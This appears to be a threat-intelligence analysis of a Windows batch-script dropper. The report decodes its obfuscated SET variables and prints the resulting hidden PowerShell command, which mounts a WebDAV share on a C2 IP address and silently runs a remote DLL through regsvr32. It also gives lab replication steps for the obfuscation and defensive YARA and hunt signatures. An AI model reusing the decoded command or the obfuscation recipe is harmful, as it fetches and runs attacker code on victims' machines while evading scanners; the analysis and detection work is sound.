unclassified-js-webdav-dropper: e9e82d14 — Fifth sibling, natural-language SET obfuscation, WebDAV C2 45.9.74.36:8888

Executive Summary

Windows batch-script dropper from the unclassified-js-webdav-dropper family. 36 natural-language SET variables reassemble into a PowerShell-hidden WebDAV mount + regsvr32 /s chain targeting 45.9.74.36:8888 with payload 231502634512294.dll. wordpad decoy. Static-only (CAPE skipped non-PE). Fifth confirmed sibling; near-identical to ffd5d894.

What It Is

• Filename: 29528552611183566.bat ^[metadata.json]
• Size: 20,379 bytes ^[metadata.json]
• Type: ASCII text, CRLF line terminators, 308 lines ^[file.txt]
• Family: unclassified-js-webdav-dropper — natural-language SET variant ^[entities/unclassified-js-webdav-dropper.md]
• First seen: 2026-05-26 (corpus ingestion date) ^[metadata.json]
• Confidence: high — same C2 IP, same execution chain, same obfuscation dialect as confirmed sibling ffd5d894

How It Works

1. Noise padding: 147 lines of unrelated English adjectives/nouns occupy the top of the file. Static string scanners see low-entropy prose; no executable keywords appear until line 149. ^[strings.txt:1-147]
2. Variable assignment block: One long line (line 149) chains 36 SET name=value assignments with &&. Variable names are 3-4 concatenated English words (e.g. madlyunrulybrawny=p, friendlypourray=7, hard-to-findminiaturegrumpy=8). ^[strings.txt:149]
3. Payload reassembly: Lines 150-152 expand the variables via %VARNAME% concatenation to form:
   • color f0&&start wordpad ^[decoded_payload]
   • start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\231502634512294.dll ^[decoded_payload]
   • exit ^[decoded_payload]
4. Execution chain:
   • color f0 clears the console to white-on-black
   • start wordpad opens WordPad as a decoy while the payload stages
   • PowerShell runs hidden, mounts the WebDAV share via net use, then silently registers the remote DLL via regsvr32 /s
   • Script terminates; no persistence mechanism present

Decompiled Behavior

Not applicable — batch script, not a PE. No Ghidra or radare2 analysis possible.

C2 Infrastructure

Same C2 IP and port as sibling ffd5d894 (payload 24013635923706.dll). Different DLL name suggests per-campaign or per-victim rotation.

Interesting Tidbits

• Operator infrastructure reuse: 45.9.74.36:8888 was already observed serving 24013635923706.dll to sibling ffd5d894. This sample fetches 231502634512294.dll from the same host — the operator reuses infrastructure but rotates payload names. ^[decoded_payload]
• WordPad decoy: Present in both this sample and ffd5d894. Opening a document editor reinforces the social-engineering masquerade while the real payload loads silently. ^[decoded_payload]
• Pure batch, no polyglot: Unlike da58243c (JScript/batch polyglot) and e6ebae6a (JScript dictionary lookup table), this sample uses batch-native %VAR% expansion only. No JScript layer, no Function() constructor. ^[strings.txt:149]
• Natural-language variable names as dialect fingerprint: The ffd5d894 dialect is defined by 3-4 English word concatenations for variable names. This sample uses the same pattern with different words, confirming the dialect is a deliberate family trait rather than a one-off. ^[strings.txt:149]
• CRLF line endings: Windows-native batch, consistent with the family. ^[file.txt]
• No sandbox gating: No anti-VM, no debugger checks, no connectivity tests, no time-bombs. The script executes unconditionally. ^[strings.txt]

How To Mess With It (Homelab Replication)

1. Set up a WebDAV server on a lab Linux box as described in webdav-regsvr32-dll-sideloading.
2. Place a benign test DLL at /tmp/webdav/231502634512294.dll.
3. Reconstruct the batch file:
   • Write 140+ lines of random English words
   • Add :nest label
   • Add one line with 36 SET varname=char assignments chained with &&
   • Add two lines with %varname% expansion assembling the color f0 && start wordpad and start powershell.exe -windowstyle hidden net use ... ; regsvr32 /s ... commands
4. Run on a Windows VM by double-clicking the .bat file.
5. Verify with Process Monitor: cmd.exe → wordpad.exe + powershell.exe → net.exe → regsvr32.exe loading DLL from UNC.

Deployable Signatures

YARA Rule

rule UnclassifiedJSWebDAVDropper_NaturalLangSET {
    meta:
        description = "Batch WebDAV dropper with natural-language SET variable obfuscation"
        author = "PacketPursuit"
        date = "2026-06-18"
        reference = "raw/analyses/e9e82d14538b830fe0b04aeaa4f1c07eed6fb38187d915bb18112b18fc98c1fe"
    strings:
        $set1 = "set madlyunrulybrawny=p" ascii
        $set2 = "set friendlypourray=7" ascii
        $set3 = "set absentskipappear=r" ascii
        $set4 = "set delightpermitnappy=s" ascii
        $webdav = "davwwwroot" ascii nocase
        $regsvr32 = "regsvr32 /s" ascii nocase
        $wordpad = "start wordpad" ascii nocase
    condition:
        3 of ($set*) and $webdav and $regsvr32 and $wordpad
}

Behavioral Hunt Query

process_name:regsvr32.exe AND command_line:*davwwwroot* AND parent_process_name:powershell.exe AND parent_command_line:*-windowstyle hidden*

IOC List

Behavioral Fingerprint

A batch script with >30 natural-language SET variable assignments concatenates them via %VAR% expansion to form a start powershell.exe -windowstyle hidden net use \\IP@8888\davwwwroot\ ; regsvr32 /s \\IP@8888\davwwwroot\*.dll command. A wordpad decoy is launched first. No persistence. One-shot execution.

Detection Signatures

References

• Sibling analysis ffd5d894: ^[/intel/analyses/ffd5d894f5e350baace2342fc3c2c7de63a82138469db1694c35c732cf0c9df4.html]
• Family entity: unclassified-js-webdav-dropper
• Technique: batch-powershell-variable-expansion-obfuscation
• Technique: webdav-regsvr32-dll-sideloading

Provenance

• file.txt — file(1) 5.44
• metadata.json — triage pipeline artifact
• strings.txt — strings(1) extraction
• dynamic-analysis.md — CAPE sandbox status (skipped — non-PE)
• Decoded payload via manual batch %VAR% expansion of strings.txt lines 149-163